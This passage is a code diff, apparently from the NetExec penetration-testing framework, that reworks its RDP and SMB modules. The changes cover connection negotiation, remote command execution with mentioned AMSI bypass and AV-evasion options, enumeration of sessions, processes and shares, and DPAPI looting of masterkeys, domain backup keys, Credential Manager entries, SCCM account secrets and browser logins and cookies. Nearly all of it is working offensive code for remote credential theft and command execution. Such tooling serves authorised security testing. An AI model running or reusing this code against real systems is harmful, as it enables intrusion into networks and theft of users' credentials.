check_nla(self): + self.logger.debug(f"Checking NLA for {self.host}") for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto @@ -272,7 +269,7 @@ class rdp(connection): if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else str(e)}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): @@ -287,7 +284,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -321,7 +318,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(password)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -356,7 +353,7 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(ntlm_hash)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -379,18 +376,25 @@ class rdp(connection): asyncio.run(self.screen()) async def nla_screen(self): - # Otherwise it crash - self.iosettings.supported_protocols = None self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - await self.connect_rdp() - await asyncio.sleep(int(self.args.screentime)) - if self.conn is not None and self.conn.desktop_buffer_has_data is True: - buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") - buffer.save(filename, "png") - self.logger.highlight(f"NLA Screenshot saved {filename}") + for proto in self.protoflags_nla: + try: + self.iosettings.supported_protocols = proto + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + + await self.connect_rdp() + except Exception as e: + self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") + return + + await asyncio.sleep(int(self.args.screentime)) + if self.conn is not None and self.conn.desktop_buffer_has_data is True: + buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) + filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + buffer.save(filename, "png") + self.logger.highlight(f"NLA Screenshot saved {filename}") + return def nla_screenshot(self): if not self.nla: diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f404c305..b74f007d 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -28,12 +28,14 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE +from impacket.dcerpc.v5 import tsts as TSTS from nxc.config import process_secret, host_info_colors from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.logger import NXCAdapter -from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection +from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage from nxc.protocols.smb.kerberos import kerberos_login_with_S4U from nxc.servers.smb import NXCSMBServer from nxc.protocols.smb.wmiexec import WMIEXEC @@ -50,17 +52,14 @@ from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command from dploot.triage.vaults import VaultsTriage -from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken +from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie from dploot.triage.credentials import CredentialsTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection -from dploot.triage.sccm import SCCMTriage +from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup -from time import time +from time import time, ctime from datetime import datetime from functools import wraps from traceback import format_exc @@ -158,7 +157,9 @@ class smb(connection): self.remote_ops = None self.bootkey = None self.output_filename = None - self.smbv1 = None + self.smbv1 = None # Check if SMBv1 is supported + self.smbv3 = None # Check if SMBv3 is supported + self.is_timeouted = False self.signing = False self.smb_share_name = smb_share_name self.pvkbytes = None @@ -241,7 +242,7 @@ class smb(connection): self.hostname = self.host self.targetDomain = self.host - self.domain = self.targetDomain if not self.args.domain else self.args.domain + self.domain = self.targetDomain if self.args.domain is None else self.args.domain if self.args.local_auth: self.domain = self.hostname @@ -258,6 +259,10 @@ class smb(connection): except KeyError: self.logger.debug("Error getting server information...") + # Handle cases where server_os is returned as bytes, such as when accidentally scanning a machine running Responder + if isinstance(self.server_os.lower(), bytes): + self.server_os = self.server_os.decode("utf-8") + if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0: self.server_os = "Unix - Samba" elif self.server_os_build == 0 and self.os_arch == 0: @@ -266,9 +271,6 @@ class smb(connection): self.logger.extra["hostname"] = self.hostname - if isinstance(self.server_os.lower(), bytes): - self.server_os = self.server_os.decode("utf-8") - try: self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] except Exception as e: @@ -295,10 +297,15 @@ class smb(connection): except Exception as e: self.logger.debug(f"Error logging off system: {e}") - # DCOM connection with kerberos needed - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" + # Check smbv1 + if not self.args.no_smbv1: + self.smbv1 = self.create_smbv1_conn(check=True) - if not self.kdcHost and self.domain: + # DCOM connection with kerberos needed + self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}" + + # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain + if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") @@ -311,7 +318,44 @@ class smb(connection): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - return True + + if self.args.generate_hosts_file or self.args.generate_krb5_file: + from impacket.dcerpc.v5 import nrpc, epm + self.logger.debug("Performing authentication attempts...") + isdc = False + try: + epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + isdc = True + except DCERPCException: + self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") + + if self.args.generate_hosts_file: + with open(self.args.generate_hosts_file, "a+") as host_file: + host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n") + self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}") + elif self.args.generate_krb5_file and isdc: + with open(self.args.generate_krb5_file, "w+") as host_file: + data = f""" +[libdefaults] + dns_lookup_kdc = false + dns_lookup_realm = false + default_realm = { self.domain.upper() } + +[realms] + { self.domain.upper() } = {{ + kdc = { self.hostname.lower() }.{ self.domain } + admin_server = { self.hostname.lower() }.{ self.domain } + default_domain = { self.domain } + }} + +[domain_realm] + .{ self.domain } = { self.domain.upper() } + { self.domain } = { self.domain.upper() } +""" + host_file.write(data) + self.logger.debug(data) + + return self.host, self.hostname, self.targetDomain def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.logger.debug(f"KDC set to: {kdcHost}") @@ -522,10 +566,10 @@ class smb(connection): self.create_conn_obj() return False - def create_smbv1_conn(self): - self.logger.debug(f"Creating SMBv1 connection to {self.host}") + def create_smbv1_conn(self, check=False): + self.logger.info(f"Creating SMBv1 connection to {self.host}") try: - self.conn = SMBConnection( + conn = SMBConnection( self.remoteName, self.host, None, @@ -534,9 +578,19 @@ class smb(connection): timeout=self.args.smb_timeout, ) self.smbv1 = True + if not check: + self.conn = conn except OSError as e: - if str(e).find("Connection reset by peer") != -1: + if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") + elif "timed out" in str(e): + self.is_timeouted = True + self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}") + else: + self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") + return False + except NetBIOSError: + self.logger.info(f"SMBv1 disabled on {self.host}") return False except (Exception, NetBIOSTimeout) as e: self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") @@ -544,7 +598,7 @@ class smb(connection): return True def create_smbv3_conn(self): - self.logger.debug(f"Creating SMBv3 connection to {self.host}") + self.logger.info(f"Creating SMBv3 connection to {self.host}") try: self.conn = SMBConnection( self.remoteName, @@ -553,39 +607,35 @@ class smb(connection): self.port, timeout=self.args.smb_timeout, ) - self.smbv1 = False - except OSError as e: - # This should not happen anymore!!! - if str(e).find("Too many open files") != -1: - if not self.logger: - print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger)) - self.proto_logger() - self.logger.fail(f"SMBv3 connection error on {self.host}: {e}") - return False - except (Exception, NetBIOSTimeout) as e: - self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") + self.smbv3 = True + except (Exception, NetBIOSTimeout, OSError) as e: + if "timed out" in str(e): + self.is_timeouted = True + self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}") + else: + self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") return False return True - def create_conn_obj(self, no_smbv1=False): + def create_conn_obj(self): """ Tries to create a connection object to the target host. - On first try, it will try to create a SMBv1 connection. + On first try, it will try to create a SMBv3 connection. On further tries, it will remember which SMB version is supported and create a connection object accordingly. :param no_smbv1: If True, it will not try to create a SMBv1 connection """ # Initial negotiation - if not no_smbv1 and self.smbv1 is None: - self.smbv1 = self.create_smbv1_conn() - if self.smbv1: + if self.smbv3 is None: + self.smbv3 = self.create_smbv3_conn() + if self.smbv3: return True - else: - return self.create_smbv3_conn() - elif not no_smbv1 and self.smbv1: - return self.create_smbv1_conn() - else: + elif not self.is_timeouted: + return self.create_smbv1_conn() + elif self.smbv3: return self.create_smbv3_conn() + else: + return self.create_smbv1_conn() def check_if_admin(self): self.logger.debug(f"Checking if user is admin on {self.host}") @@ -618,8 +668,21 @@ class smb(connection): relay_list.write(self.host + "\n") @requires_admin - def execute(self, payload=None, get_output=False, methods=None): - if self.args.exec_method: + def execute(self, payload=None, get_output=False, methods=None) -> str: + """ + Executes a command on the target host using CMD.exe and the specified method(s). + + Args: + ---- + payload (str): The command to execute + get_output (bool): Whether to get the output of the command (can be useful for AV evasion) + methods (list): The method(s) to use for command execution + + Returns: + ------- + str: The output of the command + """ + if getattr(self.args, "exec_method_explicitly_set", False): methods = [self.args.exec_method] if not methods: methods = ["wmiexec", "atexec", "smbexec", "mmcexec"] @@ -752,7 +815,7 @@ class smb(connection): if "This script contains malicious content" in output: self.logger.fail("Command execution blocked by AMSI") - return None + return "" if (self.args.execute or self.args.ps_execute): self.logger.success(f"Executed command via {current_method}") @@ -763,14 +826,29 @@ class smb(connection): return output else: self.logger.fail(f"Execute command failed with {current_method}") - return False + return "" @requires_admin - def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False): + def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False) -> list: + """ + Wrapper for executing a PowerShell command on the target host. This still uses the execute() method internally, but + creates a PowerShell command together with possible AMSI bypasses and other options. + + Args: + ---- + payload (str): The PowerShell command to execute OR the path to a file containing PowerShell commands + get_output (bool): Whether to get the output of the command (can be useful for AV evasion) + methods (list): The method(s) to use for command execution + force_ps32 (bool): Whether to force 32-bit PowerShell + + Returns: + ------- + list: A list containing the lines of the output of the command + """ payload = self.args.ps_execute if not payload and self.args.ps_execute else payload if not payload: self.logger.error("No command to execute specified!") - return None + return [] response = [] obfs = obfs if obfs else self.args.obfs @@ -792,16 +870,173 @@ class smb(connection): self.logger.debug(f"ps_execute response: {response}") return response + def get_session_list(self): + with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm: + handle = lsm.hRpcOpenEnum() + rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] + lsm.hRpcCloseEnum(handle) + sessions = {} + for i in rsessions: + sess = i["SessionInfo"]["SessionEnum_Level1"] + state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] + sessions[sess["SessionId"]] = { + "state": state, + "SessionName": sess["Name"], + "RemoteIp": "", + "ClientName": "", + "Username": "", + "Domain": "", + "Resolution": "", + "ClientTimeZone": "" + } + return sessions + + def enumerate_sessions_info(self, sessions): + if len(sessions): + with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession: + for SessionId in sessions: + sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) + sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) + sessions[SessionId]["flags"] = sessflags + domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] + if not len(sessions[SessionId]["Domain"]) and len(domain): + sessions[SessionId]["Domain"] = domain + username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"] + if not len(sessions[SessionId]["Username"]) and len(username): + sessions[SessionId]["Username"] = username + sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] + sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] + sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] + sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] + with TSTS.RCMPublic(self.conn, self.host, self.kerberos) as rcm: + for SessionId in sessions: + try: + client = rcm.hRpcGetRemoteAddress(SessionId) + if not client: + continue + sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"] + except Exception as e: + self.logger.debug(f"Error getting client address for session {SessionId}: {e}") + + @requires_admin + def qwinsta(self): + desktop_states = { + "WTS_SESSIONSTATE_UNKNOWN": "", + "WTS_SESSIONSTATE_LOCK": "Locked", + "WTS_SESSIONSTATE_UNLOCK": "Unlocked", + } + sessions = self.get_session_list() + if not len(sessions): + return + self.enumerate_sessions_info(sessions) + + maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions]) + maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1 + maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1 + maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1 + maxIdLen = max([len(str(i)) for i in sessions]) + maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1 + maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions]) + maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1 + maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions]) + maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 + maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions]) + maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 + template = ("{SESSIONNAME: <%d} " + "{USERNAME: <%d} " + "{ID: <%d} " + "{IPv4: <16} " + "{STATE: <%d} " + "{DSTATE: <9} " + "{CONNTIME: <20} " + "{DISCTIME: <20} ") % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) + + result = [] + header = template.format( + SESSIONNAME="SESSIONNAME", + USERNAME="USERNAME", + ID="ID", + IPv4="IPv4 Address", + STATE="STATE", + DSTATE="Desktop", + CONNTIME="ConnectTime", + DISCTIME="DisconnectTime", + ) + + header2 = template.replace(" <", "=<").format( + SESSIONNAME="", + USERNAME="", + ID="", + IPv4="", + STATE="", + DSTATE="", + CONNTIME="", + DISCTIME="", + ) + result.extend((header, header2)) + + for i in sessions: + connectTime = sessions[i]["ConnectTime"] + connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" + + disconnectTime = sessions[i]["DisconnectTime"] + disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" + userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else "" + + result.append(template.format( + SESSIONNAME=sessions[i]["SessionName"], + USERNAME=userName, + ID=i, + IPv4=sessions[i]["RemoteIp"], + STATE=sessions[i]["state"], + DSTATE=desktop_states[sessions[i]["flags"]], + CONNTIME=connectTime, + DISCTIME=disconnectTime, + )) + + self.logger.success("Enumerated qwinsta sessions") + for row in result: + self.logger.highlight(row) + + @requires_admin + def tasklist(self): + with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy: + try: + handle = legacy.hRpcWinStationOpenServer() + res = legacy.hRpcWinStationGetAllProcesses(handle) + except Exception as e: + # TODO: Issue https://github.com/fortra/impacket/issues/1816 + self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}") + return + if not res: + return + self.logger.success("Enumerated processes") + maxImageNameLen = max([len(i["ImageName"]) for i in res]) + maxSidLen = max([len(i["pSid"]) for i in res]) + template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) + self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) + self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) + for procInfo in res: + row = template.format( + procInfo["ImageName"], + procInfo["UniqueProcessId"], + procInfo["SessionId"], + procInfo["pSid"], + "{:,} K".format(procInfo["WorkingSetSize"] // 1000), + ) + self.logger.highlight(row) + def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") permissions = [] + write_check = bool(not self.args.no_write_check) try: self.logger.debug(f"domain: {self.domain}") user_id = self.db.get_user(self.domain.upper(), self.username)[0][0] except IndexError as e: - if self.kerberos: + if self.kerberos or self.username == "": pass else: self.logger.fail(f"IndexError: {e!s}") @@ -842,8 +1077,14 @@ class smb(connection): except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking READ access on share {share_name}: {error}") + except (NetBIOSError, UnicodeEncodeError) as e: + write_check = False + share_info["access"].append("UNKNOWN (try '--no-smbv1')") + error = get_error_string(e) + self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1") + self.logger.info(f"Skipping WRITE permission check on share {share_name}") - if not self.args.no_write_check: + if write_check: try: self.conn.createDirectory(share_name, temp_dir) write_dir = True @@ -903,6 +1144,27 @@ class smb(connection): self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}") return permissions + def dir(self): # noqa: A003 + search_path = ntpath.join(self.args.dir, "*") + try: + contents = self.conn.listPath(self.args.share, search_path) + except SessionError as e: + error = get_error_string(e) + self.logger.fail( + f"Error enumerating '{search_path}': {error}", + color="magenta" if error in smb_error_status else "red", + ) + return + + if not contents: + return + + self.logger.highlight(f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}") + self.logger.highlight(f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}") + for content in contents: + full_path = ntpath.join(self.args.dir, content.get_longname()) + self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") + @requires_admin def interfaces(self): """ @@ -978,7 +1240,7 @@ class smb(connection): dc_ips.append(self.host) return dc_ips - def sessions(self): + def smb_sessions(self): try: sessions = get_netsession( self.host, @@ -993,8 +1255,8 @@ class smb(connection): if session.sesi10_cname.find(self.local_ip) == -1: self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}") return sessions - except Exception: - pass + except Exception as e: + self.logger.debug(e) def disks(self): disks = [] @@ -1519,13 +1781,6 @@ class smb(connection): @requires_admin def sccm(self): - masterkeys = [] - if self.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(self.args.mkfile) - except Exception as e: - self.logger.fail(str(e)) - target = Target.create( domain=self.domain, username=self.username, @@ -1539,39 +1794,56 @@ class smb(connection): use_kcache=self.use_kcache, ) - try: - conn = DPLootSMBConnection(target) - conn.smb_session = self.conn - except Exception as e: - self.logger.debug(f"Could not upgrade connection: {e}") + conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + if conn is None: + self.logger.debug("Could not upgrade connection") return - try: - self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - dpapiSystem={}, - ) - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - self.logger.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") + + def sccm_callback(secret): + if isinstance(secret, SCCMCred): + tag = "NAA Account" + self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.username.decode("latin-1"), + secret.password.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMSecret): + tag = "Task sequences secret" + self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + "N/A", + secret.secret.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMCollection): + tag = "Collection Variable" + self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.variable.decode("latin-1"), + secret.value.decode("latin-1"), + "N/A", + ) try: - # Collect Chrome Based Browser stored secrets - sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi") - sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm() - for sccmcred in sccmcreds: - self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}") - for sccmtask in sccmtasks: - self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}") - for sccmcollection in sccmcollections: - self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}") + sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) + sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", ) except Exception as e: self.logger.debug(f"Error while looting sccm: {e}") @@ -1586,57 +1858,14 @@ class smb(connection): except Exception as e: self.logger.fail(str(e)) - masterkeys = [] - if self.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(self.args.mkfile) - except Exception as e: - self.logger.fail(str(e)) - - if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False: - try: - results = self.db.get_domain_backupkey(self.domain) - except Exception: - self.logger.fail( - "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option" - ) - return False - if len(results) > 0: - self.logger.success("Loading domain backupkey from nxcdb...") - self.pvkbytes = results[0][2] - else: - try: - dc_target = Target.create( - domain=self.domain, - username=self.username, - password=self.password, - target=self.domain, # querying DNS server for domain will return DC - lmhash=self.lmhash, - nthash=self.nthash, - do_kerberos=self.kerberos, - aesKey=self.aesKey, - no_pass=True, - use_kcache=self.use_kcache, - ) - dc_conn = DPLootSMBConnection(dc_target) - dc_conn.connect() # Connect to DC - if dc_conn.is_admin(): - self.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - self.db.add_domain_backupkey(self.domain, self.pvkbytes) - else: - self.no_da = False - except Exception as e: - self.logger.fail(f"Could not get domain backupkey: {e}") + if self.pvkbytes is None: + self.pvkbytes = get_domain_backup_key(self) target = Target.create( domain=self.domain, username=self.username, password=self.password, - target=self.hostname + "." + self.domain if self.kerberos else self.host, + target=f"{self.hostname}.{self.domain}" if self.kerberos else self.host, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, @@ -1645,161 +1874,117 @@ class smb(connection): use_kcache=self.use_kcache, ) - try: - conn = DPLootSMBConnection(target) - conn.smb_session = self.conn - except Exception as e: - self.logger.debug(f"Could not upgrade connection: {e}") - return None + conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + if conn is None: + self.logger.debug("Could not upgrade connection") + return - plaintexts = {username: password for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash")} - if self.password != "": - plaintexts[self.username] = self.password - if self.nthash != "": - nthashes[self.username] = self.nthash - - # Collect User and Machine masterkeys - try: - self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") - masterkeys += masterkeys_triage.triage_masterkeys() - if dump_system: - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - self.logger.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") - return None + return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - credentials = [] - system_credentials = [] + # Collect User and Machine Credentials Manager secrets + def credential_callback(credential): + tag = "CREDENTIAL" + self.logger.highlight(f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}") + self.db.add_dpapi_secrets( + target.address, + tag, + credential.winuser, + credential.username, + credential.password, + credential.target, + ) + try: - # Collect User and Machine Credentials Manager secrets - credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys) + credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback) self.logger.debug(f"Credentials Triage Object: {credentials_triage}") - credentials = credentials_triage.triage_credentials() - self.logger.debug(f"Triaged Credentials: {credentials}") + credentials_triage.triage_credentials() if dump_system: - system_credentials = credentials_triage.triage_system_credentials() - self.logger.debug(f"Triaged System Credentials: {system_credentials}") + credentials_triage.triage_system_credentials() except Exception as e: self.logger.debug(f"Error while looting credentials: {e}") - for credential in credentials: - self.logger.highlight(f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "CREDENTIAL", - credential.winuser, - credential.username, - credential.password, - credential.target, - ) - for credential in system_credentials: - self.logger.highlight(f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "CREDENTIAL", - "SYSTEM", - credential.username, - credential.password, - credential.target, - ) + dump_cookies = "cookies" in self.args.dpapi - browser_credentials = [] - cookies = [] - try: - # Collect Chrome Based Browser stored secrets - dump_cookies = "cookies" in self.args.dpapi - browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys) - browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies) - except Exception as e: - self.logger.debug(f"Error while looting browsers: {e}") - for credential in browser_credentials: - if isinstance(credential, LoginData): 